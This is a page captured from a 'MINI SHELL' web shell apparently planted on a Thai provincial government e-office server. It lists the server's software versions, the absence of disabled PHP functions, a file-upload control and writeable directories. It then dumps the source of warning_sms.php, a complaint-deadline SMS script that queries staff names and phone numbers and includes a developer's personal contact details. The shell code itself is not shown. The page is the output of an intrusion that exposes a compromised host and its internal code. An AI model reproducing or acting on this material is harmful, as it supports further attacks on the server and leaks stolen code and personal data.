MINI SHELL

Server : Apache/2.2.2 (Fedora)
System : Linux App1.pathumtani.go.th 2.6.20-1.2320.fc5smp #1 SMP Tue Jun 12 19:40:16 EDT 2007 i686
User : apache ( 48)
PHP Version : 5.2.9
Disable Function : NONE
Directory :  /var/www/html/pathumthani_eoffice/application/ecomplain/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /var/www/html/pathumthani_eoffice/application/ecomplain/warning_sms.php
<?
	###################################################################
	## E-OFFICE : NEW DOCUMENT STEP 1 of E-Document
	###################################################################
	## Version :			200905??.001 (Created/Modified; Date.RunNumber)
	## Created Date :	2009-03-?? hh:mm
	## Created By :		Mr.PUDIS PROMSRI (PAAK)
	## E-mail :				pudis@sapphire.co.th
	## Tel. :				086-1860538
	## Company :		Sappire Research and Development Co.,Ltd. (C)All Right Reserved
	###################################################################
	###################################################################
	
session_start();
include("../../config/config.inc.php");
include("../../common/function.php");
include "../../common/sms_function.php";

	$currentdate=date("Y-m-d");
	$sql="
	SELECT
	tbl_complain_approve.runid AS id,
	tbl_complain_approve.complain_id AS ticketID,
	tbl_complain_approve.date_end AS fin_date,
	concat(substring(now(),1,10)) AS now_date,
	DATEDIFF(concat(tbl_complain_approve.date_end,' 00:00:00'),now()) AS diff_date,
	tbl_complain_approve.date_late AS alert_day,
	now() AS now_date_full,
	tbl_complain_sent.org_main AS org_ID,
	tbl_complain_approve.subject,
	epm_staff.staffname,
	epm_staff.staffsurname,
	epm_staff.title,
	epm_staff.telno
	FROM
	tbl_complain_approve
	Inner Join tbl_complain_sent ON tbl_complain_sent.com_app_id = tbl_complain_approve.runid
	Inner Join org_groupmember ON tbl_complain_sent.org_main = org_groupmember.gid
	Inner Join epm_staff ON org_groupmember.staffid = epm_staff.staffid
	WHERE
			tbl_complain_approve.date_end != '0000-00-00' AND
			tbl_complain_approve.date_end > '$currentdate' AND
			tbl_complain_approve.send_sms is null
	GROUP BY id,org_groupmember.gid
	ORDER BY diff_date DESC , epm_staff.staffid ASC
	";
	//echo "<pre>".$sql;$currentdate
	$result_list = @mysql_db_query($dbname,$sql);
	while($rs_pro = @mysql_fetch_assoc($result_list)){
		//echo "<pre>";  print_r($rs_pro);  echo "</pre>";
		
		$a2=$rs_pro[telno];
		$a2=str_replace(",","",$a2); 
		$a2=str_replace(" ","",$a2); 
		$a2=str_replace("-","",$a2);
		
		#ถ้าวันที่เหลือน้อยกว่าหรือเท่ากับวันที่ต้องเตือนให้
		if($rs_pro[diff_date]<=$rs_pro[alert_day]){
		
			# ticket และ เบอร์
			$tel_sent[$rs_pro[ticketID]]=$a2;
			# ticket และ วันที่เหลือ	
			$tel_date_lost[$rs_pro[ticketID]]=$rs_pro[diff_date];
			# ticket และ วันที่สิ้นสุด
			$tel_date_fin[$rs_pro[ticketID]]=$rs_pro[fin_date];
			# หน่วยงาน และ ticket
			$org_alert[$rs_pro[org_ID]]=$rs_pro[ticketID];
			# ticket และ หน่วยงานส่งหาไม่ได้
			if(!$a2){ $org_not_alert[$rs_pro[ticketID]]=$rs_pro[org_ID]; }
		}
	}
	
	echo "<pre> รายการที่มีเบอร์ติดต่อหน่วยงานที่เกี่ยวข้อง <br> ";  @print_r($tel_sent);  echo "</pre>";
	echo "<pre> วันที่ีเหลือของรายการนั้นๆ <br> ";  @print_r($tel_date_lost);  echo "</pre>";
	echo "<pre> วันที่ีสิ้นสุดของรายการนั้นๆ <br> ";  @print_r($tel_date_fin);  echo "</pre>";	
	echo "<pre> รายการและหน่วยงานที่เกี่ยวข้อง <br> ";  @print_r($org_alert);  echo "</pre>";
	echo "<pre> รายการที่ไม่มีเบอร์ติดต่อหน่วยงานเกี่ยวข้อง <br>";  @print_r($org_not_alert);  echo "</pre>";	

	if(is_array($tel_sent)){
		$ix=0;
		foreach($tel_sent as $a1 => $a2){
			$arry[$a1]=$a2;
			$ix++;
		}	
		### วนส่ง ตามหมายเลขที่ได้รับ		
		echo "<pre> <br>$sms_mode <br>";  @print_r($arry);  echo "</pre>";					
		if($ix>0){			
			foreach($arry as $b1 => $b2){
				if(intval($b2)>0 && substr($b2,0,2) == '08' && $sms_mode=="on"){
					
					$Msn="$b2";
					$date_finish=str_replace("&nbsp;","",daythai2($tel_date_fin[$b1]));  
//					$Msg="เรื่องร้องเรียนที่ $b1 ครบกำหนดวันที่ ".$tel_date_fin[$b1]." คงเหลือเวลาอีก $tel_date_lost[$b1] วัน";
					$Msg="ครบกำหนดดำเนินการเรื่องร้องเรียนที่".$b1." วันที่ ".$date_finish   ;
//					$Msg="ครบกำหนดดำเนินการเรื่องร้องเรียนที่".$b1." วันที่ ".$date_finish."เหลือเวลา".$tel_date_lost[$b1]."วัน";					
//					ครบกำหนดดำเนินการเรื่องร้องเรียนที่521020T140736 วันที่ 30 ต.ค.52
					SendSMS2db($Msn,$Msg);
					$fin_sms.="$b2,";		
					echo $Msg;
					
					$sql_update="UPDATE `tbl_complain_approve` SET `send_sms`='1' WHERE (`complain_id`='$b1')   LIMIT 1";
					@mysql_db_query($dbname,$sql_update);
					
					
				}
			}
		}else{
			echo "ไม่มี ARRAY";
		}
		$fin_sms=substr($fin_sms,0,-1);
	}
	die;
	?>
	<script language="javascript">
		window.close();
	</script>
	<?
	die;
?>

Anon7 - 2021